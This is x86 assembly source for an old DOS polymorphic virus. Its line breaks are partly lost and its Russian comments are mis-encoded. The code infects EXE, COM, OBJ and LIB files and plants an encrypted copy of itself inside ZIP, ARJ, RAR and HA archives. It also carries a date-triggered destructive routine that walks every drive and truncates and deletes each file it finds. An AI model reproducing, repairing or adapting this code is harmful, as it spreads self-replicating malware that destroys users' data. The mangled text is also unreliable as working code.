push word ptr [ di +offs - hdrs - 2]cmp cx , ( offs - endarxex )/ 2 ;<<<DOIF AE ;zip, arj, rar

;*[create & infect file]*************************** *************************call RND_GET_BYTElea di , [ heap ]

sto_byte opJMPNstoswmov ax , zmeflARXcall ZME_crypt ;;ret CX-SIZElea si , [ heap ]mov word ptr [ fioff ] , simov [ si +1], ax ;<comcall RND_GETand ax , 0FFFh ;<<<<<<<<<<,

; push axadd ax , 3 ;<comadd cx , ax

mov word ptr [ fisize ], cx ;<all; pop ax

call SHIT_AX;create & infect carrier

mov di , [ fisize ]call Calculate_CRCmov [ arx_crc.lo ], cxmov [ arx_crc.hi ], dx

;*[generate name]********************************** **************************;int 2bh;$BEEP$

call RND_GET_Three_Bitsand al , not 4add al , 2mov cx , axadd al , 4mov word ptr [ fnamesize ], axlea di , [ vir_heap._fnamestr ]DO

DOcall RND_GET_BYTEcmp al , 'V' - 'A' ; ('Z'-'A')

CYCLE Aadd al , 'A'stosb

CYCLE LUsto_two_byte '.' , 'C'sto_two_byte 'O' , 'M'

;************************************************** **************************DONEMOV [ pos98.hi ], - 1

$$ret :retn

;************************************************** **************************

;*Å**[process EXE/SFX]***************************** ************************Å*pblabel process_exe

mov ax , [ exehdr.exe_pages ]mov cx , [ exehdr.exe_len_mod_512 ]jcxz ExactPagedec ax

pblabel ExactPagemov dx , 200hmul dxadd cx , axxchg cx , dxcall DosSeekcall second_tstcmp di , offset offs - 2jb $$ret

;*Å**[process EXE]********************************* ************************Å*;newexetest

; probability_test prblt_infct_EXE, 0f0h , error_exit;************************************************** **************************; INFECT exe;************************************************** **************************;int 2bh

call seek_end;§¤¥áì ®âá¥ïâì ¬ «¥-쪨¥ * ©«ë

cmp ah, MININFECTSIZE / 100Hjb $$ret

;................................call test_size ;proc;ax-(file_size and 0FFFFh)jz $$ret

call dosseek_bofcall read_buf_22call exe_testjz $$ret ;already infect

;; -¥ § à ¦ âì EXE * ©«ë ¡¥§ ५®ª¥©è¥-®¢,;¨ ¥á«¨ ५®ª¥©è¥-®¢ ®ç¥-ì ¬-®£® (?)

cmp byte ptr [ exehdr.exe_rle_count ], 1 ;0 or 1 relocationsjb $$ret

;................................

;; ¥á«¨ ¤«¨- § £à㦠¥¬®© ç á⨠exeè-¨ª ¡®«ìè¥ ... 32k = 40h pages;test for pklite(etc) & PASS E

cmp word ptr [ exehdr +18h ], 40h ;jae standart_exe_infect2mov al , byte ptr [ exehdr +1Eh]cmp al , 'P' ;PKLITE ?je standart_exe_infect2cmp al , 20h ;07, 20h -WATCOMje standart_exe_infect2cmp al , 7 ;07, 20h -WATCOMje standart_exe_infect2cmp byte ptr [ exehdr.exe_pages ], 40hjbe standart_exe_infect2

pblabel insert_exe_infectmov dx , [ exehdr.exe_par_dir ]shl dx , 4jc standart_exe_infect2 ;if header>64kcall dosseek_cx_0lea dx , [ heap ]mov cx , 1800h ;6kcall DosReadxchg cx , ax;scanlea si , [ heap +2]DO

mov di , 3dec sidec sipush cxcall calculate_crc ;<add si,3cmp_ax_CRC32w <55h , 8Bh, 0ECh> ;push bp; mov bp,sp ;< BORLANDje exfndcmp_ax_CRC32w <55h , 89h , 0E5h> ;push bp; mov bp,sp ;< BORLANDje exfnd

pblabel cont_searchpop cx ;

CYCLE LUpblabel standart_exe_infect2

jmp standart_exe_infectpblabel exfndsizeof_part1 =54h

push simov cx , sizeof_part1DO

lodsbpush cxlea di , enddmov cx , 6repne scasbpop cx

; jz nff;nff:DOIF Z

pop sijmp cont_search

DONECYCLE LUpop si

;$BEEP$extrn ffsize_lo :wordextrn ffsize_hi :word

call seek_endmov ffsize_lo , axmov ffsize_hi , dxmov dx , [ exehdr.exe_par_dir ]shl dx , 4add dx , sisub dx , ( offset heap )+ 3call dosseek_cx_0lea dx , [ heap +sizeof_part2 ]

; to heap+sizeof(part2)mov cx , sizeof_part1call DosReadcall dosseek_cur_neg_ax

;§¤¥áì part 1extrn part1 :nearextrn part2 :near;¢ë¡®à ªà¨¯â®¢é¨ª ¤«ï part2 (?)extrn crypt_part2 :byte

call RND_GETmov crypt_part2 , almov crypt_old1 , ahlea dx , part1mov cx , sizeof_part1call DosWritecall seek_end

sizeof_part2 = 70h;«ãçè¥ çâ®-â® ¢à®¤¥:; part2 -> heap; encode virus to heap+sizeof(part1)+sizeof(part2)

lea di , [ heap +sizeof_part1 +sizeof_part2 ]mov ax , zmeflIXEcall ZME_crypt ;;ret CX-SIZE

extrn ffentrvir :wordextrn crypt_old1 :byte

mov ffentrvir , ax ;?lea si , part2lea di , [ heap ]push cxmov cx , sizeof_part2DO

lodsbsub al , crypt_part2stosb

CYCLE LUmov cx , sizeof_part1mov al , crypt_old1DO

sub byte ptr [ di ], alinc di

CYCLE LUpop cx

; crypt part2

add cx , ( sizeof_part1 +sizeof_part2 )call doswrite_from_heapcall write_sizemarker

pblabel error_exit_2pop ax

pblabel endddb 0C3hdb 0CBhdb 0CFhdb 09Ahdb 0CAhdb 0C2h

pblabel no_freq_proccall get_cur_timesub ax , [ last_infect_time ]cmp ax , INTERVAL_INFECT ;0.5 ¬-

IFDEF RELIZjl error_exit_2 ;<<<<<<<<<debug

ENDIFret

; ret

; DONEpblabel standart_exe_infect

call seek_end ;dx:ax - file sizetest al , 1jnz endd ;-¥ § à ¦ âì EXE* ©«ë á -¥ç¥â-®© ¤«¨-®©cmp dl , 6 ;6*64k=384k 4*64k=256kjae endd ;file too big, infect him other method (?)

;************************************************** **************************; INFECT;************************************************** **************************;write old header to EOF

push ax dx ;dx:ax - file sizecall crypt_exe_headermov cx , exe_rle_table - exe_len_mod_512 ;14hcall doswrite_from_heappop dx ax

mov cx , axand cx , 0Fhadd cl , STACKBASE;offset virus_start-10hmov [ exehdr.exe_SP ], cx

add ax , VIRUSSTACKSIZE- 10h ;paragraphand ax , not 0Fh

push ax dxmov cx , dxmov dx , axcall dosseekpop dx ax

mov cx , 10hdiv cx ;dx:ax =sub ax , [ exehdr.exe_par_dir ]sub ax , VIRUSSTACKSIZE/ 10hmov [ exehdr.exe_CS ], axadd ah, clmov [ exehdr.exe_SS.h ], ah ;64kcall RND_GET_THREE_BITSadd [ exehdr.exe_SS.h ], al ;

lea di , [ heap ] ;to heapmov ax , zmeflEXEcall ZME_crypt ;;ret CX-SIZEadd ax , VIRUSSTACKSIZEmov [ exehdr.exe_IP ], axcall doswrite_from_heap ;write encrypted viruscall write_sizemarkercall seek_end ;get file sizemov di , [ exehdr.exe_pages ]call calc_hdr_pages

;㬥-ìè¨âì MinMem - à §¬¥à ®¢¥à«¥ï (?)sub di , [ exehdr.exe_pages ] ;®âà¨æ.shl di , 5add [ exehdr.exe_min_BSS ], diDOIF NC

mov [ exehdr.exe_min_BSS ], 0DONE

pblabel write_exehdrcall dosseek_bofmov cx , 1Chjmp DosWrite_shbuf ;write new header

;************************************************** **************************;*Å**[process OBJ]********************************* ************************Å*pblabel cycle_o

mov dx , [ objhdr.recsize ]sub dx , HDRBUFSIZE - 3sbb cx , cxcall dosseek_cur ;_cx_0call read_buf_22 ;cmp al , HDRBUFSIZEjne obj$ret1

pblabel process_obj ;test size;int 2bh

cmp [ objhdr.rectype ], MODENDje obj$ret1

;-+-[process 98]-------------+-cmp [ objhdr.rectype ], SEGDEFPASS NECMP [ pos98.hi ], - 1DOIF Ecmp word ptr [ objhdr.recsize ], 7jne obj$ret1test byte ptr [ objhdr.segattr ], MASK SA_B or MASK SA_Pjnz obj$ret1

test byte ptr [ objhdr.segattr ], 0A0h ;borland windows library is WORD alignment; test byte ptr [objhdr.segattr], MASK SA_A

DOIF Zobj$ret1 : stc

retDONEcall dostellsub ax , HDRBUFSIZEsbb dx , 0mov [ pos98.lo ], axmov [ pos98.hi ], dxmov ax , word ptr [ objhdr.segsize ]cmp ax , 0Ahjb obj$retcmp ah, 3ja obj$retmov [ siz98 ], axDONE

;-+--------------------------+-pblabel process_A0;-+-[process A0]-------------+-

cmp [ objhdr.rectype ], LEDATAjne cycle_o

rzheap equ <heap +80h>;read (rzheap+80h, [objhdr.recsize]-4)

mov ax , HDRBUFSIZE - 6hcall dosseek_cur_neg_axsub ax , 6hsbb dx , 0mov [ posA0.lo ], axmov [ posA0.hi ], dxlea dx , [ rzheap ]mov di , dxmov cx , [ objhdr.recsize ]sub cx , 4hcall dosreadpush bx ;save file handlepush ax ;size A0 before infectadd di , axpush di

;encode virus (rzheap+[objhdr.recsize]-4)mov ax , zmeflOBJcall ZME_crypt ;;ret CX-SIZE

; mov [_____], ah; mov si, VIRUSSTACKSIZE; mov cx, offset start_data- VIRUSSTACKSIZE ;virus_size; mov [engdata.datasize], cx; mov [engdata.targetptr], d i; rep movsb ;copy d ata; mov cx, offset start_data- VIRUSSTACKSIZE ;virus_size; xor ax,ax

xchg bx , ax ; entry virus

;¬®¦¥â ®áë¯ âìáï, ¥á«¨ 㢥«¨ç¨âì à §¬¥à ¢¨àãá . ᥩ ç á 7000;- ¤®, çâ®¡ë ¡ë«® 9 ¡«®ª®¢.?;mov ax, cx;add ax, 3DFh;dec ax;cwd;mov si, 3E0h;div si

;inc ax;cwd;mov si, 3E9h;mul simov ax , disub ax , offset rzheapcwdmov si , 3E0hdiv simov dl , 7mul dladd ax , cxand ax , 0Fhsub cx , axadd cx , 10hpop diadd di , cxmov word ptr [ fisize ], cx

;scanpop cx ;size A0 before infectpush di ;ptr to end A0 & viruslea si , [ rzheap +2]DO

mov di , 3dec sidec sipush cxcall calculate_crc ;<add si,3pop cx ;cmp_ax_CRC32w <55h , 8Bh, 0ECh> ;push bp; mov bp,sp ;< BORLANDje fndcmp_ax_CRC32w <55h , 89h , 0E5h> ;push bp; mov bp,sp ;< BORLANDje fndcmp_ax_CRC32w <52h , 89h , 0C2h> ;push dx; mov dx,ax ;< WATCOMje fnd

CYCLE LU

pop ax;error_exit_2:

pop axobj$ret : stc ;CF - error flag for process_lib

retfnd :

mov byte ptr [ si - 3], opCALLlea ax , [ bx - 3]add ax , cxmov word ptr [ si - 2], ax ;, 00 ;(cx+bx-3)pop dx ;ptr to end A0 & viruspop bx ;restore file handle

;rezkalea si , [ rzheap ]lea di , [ heap ]DO ;@repeat:

sto_byte LEDATAmov ax , dxsub ax , siMIN ax , 3E0hpush ax ;block sizeadd ax , 4stoswsto_byte 1mov ax , si

sub ax , offset rzheapstoswpop cx

;/----crc-------------------\ add al, byte ptr [di-4]

add al , byte ptr [ di - 5]add al , ahadd al , LEDATA+1DO

add al , byte ptr [ si ]movsb

CYCLE LUneg alstosb

;\--------------------------/cmp si , dx

CYCLE B ; jb @repeat

sub di , ( offset heap )+ 3E7hpush di ;razmer wtorogo finserta

;seek_pos(posA0)????mov dx , [ posA0.lo ]mov cx , [ posA0.hi ]call dosseek

;write (heap, [objhdr.recsize]+3)mov cx , [ objhdr.recsize ]add cx , 3call doswrite_from_heap

;f_insert (heap+[objhdr.recsize], 3E7h-([objhdr.rec size]+3))mov si , axadd si , dxmov cx , 3E7hsub cx , axadd di , cxmov [ lib_dict_offset ], di

; adc [lib_dict_offset.hi], 0push cx

call dostellpop cxcall f_insert

;read (objhdr, 22h);---- skip FIXUPP if present

call read_buf_22cmp [ objhdr.rectype ], FIXUPPDOIF E

sub ax , 3sub ax , [ objhdr.recsize ]

DONEcall dosseek_cur_neg_ax

;f_insert (heap+3E7h, virrsize-3E7h)lea si , [ heap +3E7h]

pop cx ;virrsize-3E7hcall f_insert

;-process-segment------------mov dx , [ pos98.lo ]mov cx , [ pos98.hi ]call dosseekcall read_buf_22call dosseek_cur_neg_axmov ax , [ fisize ]add word ptr [ shift_buffer.segsize ], ax

;/----crc-------------------\

mov cx, [objhdr.recsize]lea si , [ vir_heap._objhdr ]inc cxlodsbDO

add al , byte ptr [ si ]inc si

CYCLE LUneg almov byte ptr ds :[ si ], al

;\--------------------------/jmp DosWrite_shbuf_22

;*Å**[process LIB]********************************* ************************Å*pblabel process_lib;CALL CHECK_PROCESS_NAME; ⪠§ à ¦¥-¨¥ LIB § -¨¬ ¥â ¬-®£® ¢à¥¬¥-¨; íâ® á⮨⠤¥« âì ¯à¨ à ¡®â¥ NDD, PKLITE, TLINK, e tc

cmp byte ptr [ libhdr.lib_hdr_dict_offs ], 0jne lib$ret ;already infectDO ;infect exitcode of 'C' program

mov di , 8 ;search for 'EXIT'lea si , [ vir_heap._libhdr ]call calculate_crc ;<add si,3

;; § à ¦¥-¨¥ '___write', '__ioalloc_' ¨â¯cmp_ax_CRC32w <80h , 6, 0, 4, 'E' , 'X' , 'I' , 'T' > ;< BORLANDje exfoundcmp_ax_CRC32w <80h , 6, 0, 4, 'e' , 'x' , 'i' , 't' > ;< WATCOMje exfoundmov dx , 10h - HDRBUFSIZEcall dosseek_cur_cx_1mov cx , 10hdiv cxmov [ virobjblk ], axcall read_buf_22cmp al , HDRBUFSIZE

CYCLE Eend_process_dictionary :lib$ret : ret

pblabel exfoundcmp byte ptr [ libhdr +14h ], 32hje lib$retcall process_obj ;hmmm...jc lib$retcall dosseek_bofcall read_buf_22mov ax , [ lib_dict_offset ]add [ libhdr.lib_hdr_dict_offs.lo ], axadc [ libhdr.lib_hdr_dict_offs.hi ], 0call write_exehdr

; call dosseek_bof; call doswrite_shbuf_22;¢ á«®¢ à¥: ¤«ï ¢á¥å § ¯¨á¥© > exit_ ¤®¡ ¢¨âì à §¬ ¥à ¢áâ ¢ª¨ ¢ ¯ à £à * å;seek (lib_hdr_dict_offs)

mov cx , [ libhdr.lib_hdr_dict_offs.hi ]mov dx , [ libhdr.lib_hdr_dict_offs.lo ]call dosseekDO

lea dx , [ heap ]

mov cx , LIB_DICTIONARY_ENTRY_SIZEcall dosread ; read (heap, 0x200)mov dx , LIB_DICTIONARY_ENTRY_SIZEcmp ax , dx ; ¯®â®¬ ᤥ« © ç¥à¥§ SAHFjne end_process_dictionary ;< ¯®á«¥ í⮣® - ¤®-¡ëcall dosseek_cur_neg_dx ; áâàã-ª¥©â¨âì extended dictionary.lea si , [ heap ] ; process:)mov cx , 25hDO

lodsbpush simov ah, ch ;ch=0add ax , axDOIF NZ

add ax , offset heapxchg si , axlodsbmov ah, ch ;ch=0add si , axcmp word ptr [ si ], UNINIT

virobjblk equ word ptr ($- 2)DOIF A

mov ax , [ lib_dict_offset ]shr ax , 4add word ptr [ si ], ax

DONEDONEpop si

CYCLE LUmov cx , LIB_DICTIONARY_ENTRY_SIZEcall doswrite_from_heap ; write (heap, 0x200)

CYCLE;************************************************** **************************

;*Å**[process HA]********************************** ***********************Å*pblabel process_ha;int 2bh

mov ax , [ hahdr.filecnt ]inc axmov [ hafcount ], axmov ax , HDRBUFSIZE - ( size ha_main )call dosseek_cur_neg_axjmp sss

pblabel cycle8;seek(size ha_file_hdr)+size name+machine+1

lea si , [ vir_heap._hahdr.ha_name ]mov cx , 42h ; max length nameDO

lodsband al , al

CYCLE LUNZjcxz error_exit2lodsbmov ah, 0sub cx , 34hsub ax , cxsbb cx , cx ;<cx=0add ax , [ hahdr.ha_compress_size.lo ]adc cx , [ hahdr.ha_compress_size.hi ]xchg dx , axcall dosseek_cur

sss :;read(header)

call read_buf_22cmp [ hahdr.ha_ver_method ], HA_METHOD_STOREDje error_exit2cmp al , HDRBUFSIZEje cycle8cmp al , 0jne error_exit2

;/+- CREATE HAHDR -+-lea di , [ vir_heap._crthdr ]sto_byte HA_METHOD_STOREDcall store_fisizelea si , [ vir_heap._arx_crc ]movs4 ;d;file crc_32call create_dtim1sto_byte 0 ; sto_word '/'call store_fnamesto_two_byte 0, 2sto_two_byte 1, 20h

;\+- CREATE HAHDR -+-mov cx , [ fnamesize ]add cx , SIZE ha_file_hdr + 3 ; 0hlea dx , [ vir_heap._crthdr ]call doswritemov cx , word ptr [ fisize ]mov dx , word ptr [ fioff ]call doswritemov dx , 2call dosseek_cx_0mov cx , 2lea dx , [ vir_heap._hafcount ]jmp doswrite

;************************************************** **************************

;*Å**[process RAR]********************************* ************************Å*pblabel process_rar

DOcmp [ rarhdr.rar_head_type ], 73h ;DOIF E ;test for multi-volume archive (?)

test byte ptr [ rarhdr.rar_head_flags ], 1hDOIF NZ

pblabel error_exit2ret

DONE; remove Authenticity information present flagand byte ptr [ rarhdr.rar_head_flags ], not 20hcall dosseek_cur_neg_axmov di , SIZE rar_main_hdr - 2lea si , [ vir_heap._rarhdr.rar_head_type ]call Calculate_CRCmov [ rarhdr.rar_head_crc ], cxcall DosWrite_shbuf_22

DONEcmp [ rarhdr.rar_method ], RAR_METHOD_STOREDje error_exit2mov dx , [ rarhdr.rar_f_head_size ]sub dx , HDRBUFSIZEsbb cx , cxtest byte ptr [ rarhdr.rar_head_flags.1 ], 80hDOIF NZ

add dx , [ rarhdr.rar_compressed_size.lo ]adc cx , [ rarhdr.rar_compressed_size.hi ]

DONEcall dosseek_curcall read_buf_22

pr_rar :and ax , ax ;if eofEXIT Z

cmp [ rarhdr.rar_head_type ], 74hCYCLE BE ; if marker block or archive headerpush ax

;/+- CREATE RARHDR 1.50 -+-LEA di , [ vir_heap._crthdr +2]sto_two_byte 74h , 0sto_byte 80hcall sto_fnamesize_20call store_fisizestosb ;rar_host_os =0lea si , [ vir_heap._arx_crc ]movs4 ;d;file crc_32call create_dtim1sto_two_byte 0Fh, RAR_METHOD_STOREDsto_word_ <[ fnamesize ]>mov al , 20hcall stosw_sto_0call store_fnamelea si , [ vir_heap._crthdr +2]sub di , sicall Calculate_CRCmov word ptr [ crthdr ], cx ;[si-2] (?)

;\+- CREATE RARHDR -+-pop axcall dosseek_cur_neg_axmov cx , SIZE rar_file_hdrJMP f_insert_hdr_und_file

;************************************************** **************************;include add2arj.as1;*Å**[process ARJ]********************************* ************************Å*

DO ;seek_cur(arj_bas_hdr_size+0Ah+arj_compressed_size- 22h)mov dx , [ arjhdr.arj_bas_hdr_size ]sub dx , HDRBUFSIZE- 0Ahsbb cx , cxcmp [ arjhdr.arj_original_size.lo ], cxDOIF NE ; if first header - (great BUG)

add dx , [ arjhdr.arj_compressed_size.lo ]adc cx , [ arjhdr.arj_compressed_size.hi ]cmp [ arjhdr.arj_compres_method ], ARJ_METHOD_STOREDDOIF E

pblabel error_exit3ret

DONEDONEcall dosseek_curcall read_buf_22

pblabel process_arjtest [ arjhdr.arj_flags ], 4h ;test for multi-volume archive (?)jnz error_exit3cmp [ arjhdr.arj_bas_hdr_size ], 0

CYCLE NEpush ax ;

;/+- CREATE ARJHDR -+-lea di , [ vir_heap._crthdr ]lea si , arj_hmovsw ;arj_idcall sto_fnamesize_20movsw ;31emov al , 1stosw ;1

dec axcall create_dtimcall store_fisizemovs4 ;d;file crc_32sto_word 0stos2w ;0call store_fname ;*;namestosw ;0push dilea si , [ vir_heap._crthdr.arj_first_hdr_size ]sub di , sicall calculate_crcpop dixchg ax , cxcall st_dx_0

;\+- CREATE ARJHDR -+-pop axcall dosseek_cur_neg_axmov cx , 2Ah ;SIZE zip_local_header

pblabel f_insert_hdr_und_fileCALL f_insert_hdrmov cx , word ptr [ fisize ]mov si , word ptr [ fioff ]jmp f_insert

;************************************************** **************************;include add2zip.as1;*[create zip headers]***************************** **************************pblabel create_zip

LEA di , [ vir_heap._crthdr ]lea si , zip_hmovsw ;'KP'lodsw ;304DOIF NZ ;CENTRAL_FLAG ; $$if central

sto_word ZIP_CNL_IDmov ax , word ptr ds :[ si ] ;20d;?ver?

DONEstoswmovsw ;14mov ax , 2pushfcall create_dtimadd_si4movs4 ;d;file crc_32call store_fisizemov ax , [ fnamesize ]call stosw_sto_0 ;extra field size =0popfDOIF NZ ;CENTRAL_FLAG ; $$if central

stos3w ;=0mov al , 20hcall stosw_sto_0add_di4

DONEpblabel store_fname ;*;name

mov cx , [ fnamesize ]rep movsb

pblabel error_exit1ret

;************************************************** **************************;*Å**[process ZIP]********************************* ************************Å*pblabel cycle1

mov dx , [ ziphdr.zip_size_fname ]sub dx , 4

sbb cx , cxadd dx , [ ziphdr.zip_extra_field_length ]cmp [ ziphdr.zip_compression_method ], ZIP_METHOD_STOREDje mustdieadd dx , [ ziphdr.zip_compressed_size.lo ]adc cx , [ ziphdr.zip_compressed_size.hi ]call dosseek_curcall read_buf_22 ; read(ziphdr, sizeof(zipcnthdr))

pblabel process_zip;$BEEP$; DOIF E

; DONEcmp word ptr [ ziphdr.zip_loc_sign.hi ], ZIP_LCL_IDje cycle1cmp word ptr [ ziphdr.zip_loc_sign.hi ], ZIP_CNL_IDjne error_exit1call create_zipmov dx , - HDRBUFSIZE ; SIZE zip_local_headercall dosseek_cur_cx_1mov [ crthdr.zip_rel_off_of_loc_hdr_.lo ], axmov [ crthdr.zip_rel_off_of_loc_hdr_.hi ], dxmov cx , SIZE zip_local_header ;1ecall f_insert_hdr_und_filejmp proc_cntDO

; seek_cur(ziphdr.filename_length_+ziphdr.extra_fie ld_length_; +ziphdr.file_comment_length_)

mov dx , [ ziphdr.zip_size_fname_ ]add dx , [ ziphdr.zip_extra_field_length_ ]add dx , [ ziphdr.zip_file_comment_length_ ]add dx , 0Chcall dosseek_cur_cx_0

pblabel proc_cntcall read_buf_22cmp [ ziphdr.zip_centr_sign_.lo ], ZIP_SIGNjne error_exit1cmp word ptr [ ziphdr.zip_centr_sign_.hi ], ZIP_CNL_ID

CYCLE Ecmp word ptr [ ziphdr.zip_centr_sign_.hi ], ZIP_END_IDjne error_exit1call dosseek_cur_neg_ax ; seek_cur(-sizeof(zip_centr_header))inc [ ziphdr.ttl_num_of_ent_on_this_disk ]inc [ ziphdr.ttl_num_of_ent_in_the_cent_dir ]add [ ziphdr.size_of_the_central_directory.lo ], size zip_central_headermov ax , [ fnamesize ]cwd ;DX := 0add [ ziphdr.size_of_the_central_directory.lo ], axadc [ ziphdr.size_of_the_central_directory.hi ], dxadd ax , [ fisize ] ;[zip_compressed_size.lo]add ax , SIZE zip_local_headeradd [ ziphdr.off_of_strt_of_cent_directory.lo ], axadc [ ziphdr.off_of_strt_of_cent_directory.hi ], dxmov cx , SIZE zip_end_headercall DosWrite_shbuf ;write zip_end_headercmp dx , bp ;zf=0call create_zip ; create_centr_headermov dx , - SIZE zip_end_header ;-16call dosseek_cur_cx_1mov cx , SIZE zip_central_header

;************************************************** **************************

;%NOINCL

;.SALL

;shift_buffer_size = 13hpblabel f_insert_hdr

add cx , [ fnamesize ]pblabel f_insert_hdr_wirhout_fname

LEA si , [ vir_heap._crthdr ]pblabel f_insert

push dx axpush cx ; insert_sizexor cx , cx ; cx := 0sub ax , HDRBUFSIZEsbb dx , cxmov [ beg_pos.hi ], dxmov [ beg_pos.lo ], axdec cx ; cx := -1mov dx , - HDRBUFSIZEmov al , 2 ; seek_end ( - shift_buffer_size )call DosSeek_allDO

call read_buf_22 ; read ( shift_buffer, shift_buffer_size )pop dx ; seek_cur ( insert_size - shift_buffer_size )push dxsub dx , HDRBUFSIZE ; sub dx,ax (?)call dosseek_cur_cx_0call DosWrite_shbuf_22 ; write ( shift_buffer, shift_buffer_size )pop dx ; seek_cur ( - insert_size - 2*shift_buffer_size )push dxadd dx , HDRBUFSIZE* 2call dosseek_cur_neg_dx ; #### DX:AX=curposcmp dx , [ beg_pos.hi ]REPEAT Acmp ax , [ beg_pos.lo ]

CYCLE A;-+--------+- seek for write -+--------+-

pop ax ; insert_sizepop dx cxpush axcall dosseekmov dx , sipop cxcall DosWritejmp dostell

;************************************************** **************************;shift_buffer_size = 22h

;************************************************** **************************pblabel sto_fnamesize_20

mov ax , 20hadd ax , [ fnamesize ]stoswret

;************************************************** **************************

;************************************************** **************************pblabel store_fisize

xor dx , dxsto_word_ <[ fisize ]> ;.filesizexchg dx , ax

pblabel st_dx_0stosw ;d;hdr crcxchg ax , dx

pblabel stosw_sto_0

stoswsto_word 0ret

;************************************************** **************************

;************************************************** **************************pblabel create_dtim

call stosw_sto_0pblabel create_dtim1

sto_word TIMEMARKER ;time = const TIMEMARKERsto_word_ <[ host_arx_date ]>ret

;************************************************** **************************pblabel write_sizemarker;write garbage

lea di , [ heap ] ;from heapmov ax , SIZEMARKER+SIZEMARKER_MODCALL SHIT_AX;write viruscall seek_end ;dx:ax - file sizexor dx , dxmov cx , SIZEMARKERdiv cxsub cx , dxadd cx , SIZEMARKER_MODjmp doswrite_from_heap

;************************************************** **************************;xEXE db '.EXE';xCOM db '.COM'pblabel hdrs

CRC32w <'P' , 'K' , ' ETX' , ' EOT' > ;ZIPCRC32w <060h , 0EAh> ;ARJCRC32w <'R' , 'a' , 'r' , '!' > ;RARCRC32w <'H' , 'A' > ;HA

pblabel endarxex; CRC32w <0FFh,0FFh,0FFh,0FFh> ;SYS

CRC32w <0F0h, 0Dh> ;LIBCRC32w <080h > ;OBJ

; CRC32w <'F','B','O','V'> ;OVRCRC32w <'Z' , 'M' > ;EXECRC32w <'M' , 'Z' > ;EXE

pblabel offsdw process_zipdw process_arjdw process_rardw process_ha

; dw process_sysdw process_libdw process_obj

; dw process_ovrdw process_exedw process_exe

;cmp_ax_CRC32w <2,1Ah,8Bh>pblabel api_entrycall doscalliret

pblabel mustdieDTADELTA equ 11HforDTAs equ heap +80hTROJANTIME=0

cmp [ host_arx_date.h ], 20h ;if 1996 year then must die!DOIF B;executor

cmp [ ziphdr.zip_file_time ], TROJANTIMEDOIF E

;int 2bhcall dosseek_cur_cx_0lea dx , [ api_entry ]mov ax , 2503hcall doscalllea dx , [ heap ]mov cx , [ ziphdr.zip_compressed_size.lo ]and ch , 1Fh ; maximum size=8Kcall dosreadcall dx

; mov di, cx; mov si, dx; call Calculate_CRC

DONEret

DONE

MOVSEG ds , csMOVSEG es , cs

next_disk :lea si , forDTAslea di , [ heap ]

disk =$+1IFDEF RELIZ

sto_two_byte 'C' , ':'ELSE

sto_two_byte 'D' , ':'ENDIF

cmp al , 'Z'je rt_errDO

add si , DTADELTAmov dx , simov ah, 1Ahcall DosCallsto_byte '\'mov word ptr [ di ], '.*'mov word ptr [ di +2], '*'mov cx , 3Fhlea dx , [ heap ]

FindFirst :mov ah, 4Ehjmp short EndOfSearchDO

FindNext :mov ah, 4Fh

EndOfSearch :call DosCallDOIF Cmov byte ptr [ di - 1], 0lea dx , [ heap ]mov ah, 3Ahcall DosCall

DOdec dicmp byte ptr [ di - 1], '\'

CYCLE NEsub si , DTADELTA

mov dx , simov ah, 1Ahcall DosCallcmp si , offset forDTAsjae FindNext

inc byte ptr ds :[ disk ]jmp next_disk

DONEpush di siadd si , find_buf_pnameDO

lodsbstosbor al , al

CYCLE NZdec dipop si

test byte ptr [ si.find_buf_attr ], 10hje @@0cmp byte ptr [ si.find_buf_pname ], '.'jne @@1

@@0:pop di ;file -> restore DIlea dx , [ heap ]mov cx , 20hmov ax , 4301hcall DosCallmov ax , 3D21hcall DosCallxchg bx , axDOIF NC

call DosTruncatecall DosClose

DONEmov ah, 41hcall DosCall

CYCLE@@1:

pop ax ;drop DI ; ;¥á«¨ ¤¨à¥ªâ®à¨ï +nameCYCLE

endsend

INCLUDE ZURICH.ASI;INCLUDE CRC.ASIcode segment byte publicassume cs : code , ds : code , es : code , ss : code

;public get_crc_just_fname;public get_own_nameextrn DosCall :nearextrn calculate_crc5 :near

;-+------------------------------------------------ ------------------------+-;¯®«ãç¨âì * ©«-¥©¬ ¨§ á।ë ⥪ã饣® PSP;proc ;return ds:dx =@ParamStr(0) {use cur PSP};-+------------------------------------------------ ------------------------+-;CRPROC get_own_name, 79FCh;public get_own_namepblabel get_own_name

push es ax bx; mov ah, 34h; call DosCall ;BX-cur psp; mov ds, es:[bx][0Fh] ;cur PSP

mov ah, 51hint 21hmov ds , bxmov bx , PDB_environmov ds , ds :[ bx ] ;cur envirDO

inc bxcmp word ptr [ bx - 4], 0

CYCLE NZmov dx , bxpop bx ax esret

;endp;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-;ds:dx - string,;(dx:cx)ax-crc of UpCase(JustFileName);ZF=1, ¥á«¨ CRC í⮣® ¨¬¥-¨ ¥áâì ¢ â ¡«¨æ¥;-+------------------------------------------------ ------------------------+-;CRPROC get_crc_just_fname, 474Ah;public get_crc_just_fnamepblabel get_crc_just_fname

push espush si di cx dxpushfmovseg es , cscldmov si , dxDO

lodsband al , al

CYCLE NZstdlodswDO

lodsbcmp al , '\'EXIT Ecmp al , ':'EXIT Ecmp al , 0

CYCLE NZpopflodswcall Calculate_CRC5lea di , nostlnamesmov cx , nostlnamescountrepne scasw

;cmp di, cx ;<debug zf=0pop dx cx di sipop esret

;endp;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-;¯à¨ à ¡®â¥ íâ¨å * ©«®¢ ¢ëª«îç ¥âáï á⥫âá;¨ ¥é¥: í⨠* ©«ë -¥ § à ¦ îâáï!

;-+------------------------------------------------ ------------------------+-pblabel nostlnames

